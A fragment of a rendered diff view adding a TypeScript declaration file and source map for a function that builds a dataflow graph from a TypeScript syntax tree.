|
|
355
495
|
## Links
|
|
356
496
|
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dataflow Graph Construction
|
|
3
|
+
*
|
|
4
|
+
* Builds a dataflow graph from TypeScript AST by tracking:
|
|
5
|
+
* - Variable declarations and assignments
|
|
6
|
+
* - Property access (read/write)
|
|
7
|
+
* - Function calls and arguments
|
|
8
|
+
* - Template literals
|
|
9
|
+
* - Object construction
|
|
10
|
+
*
|
|
11
|
+
* Phase 3.1: Dataflow Implementation
|
|
12
|
+
*/
|
|
13
|
+
import * as ts from 'typescript';
|
|
14
|
+
import { DataFlowGraph } from './dataflow-types.js';
|
|
15
|
+
/**
|
|
16
|
+
* Build dataflow graph from TypeScript source code
|
|
17
|
+
*/
|
|
18
|
+
export declare function buildDataFlowGraph(sourceFile: ts.SourceFile): DataFlowGraph;
|
|
19
|
+
//# sourceMappingURL=dataflow-graph.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"dataflow-graph.d.ts","sourceRoot":"","sources":["../../src/analysis/dataflow-graph.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAE,aAAa,EAAkD,MAAM,qBAAqB,CAAC;AAEpG;;GAEG;AACH,wBAAgB,kBAAkB,CAAC,UAAU,EAAE,EAAE,CAAC,UAAU,GAAG,aAAa,CAI3E"}
|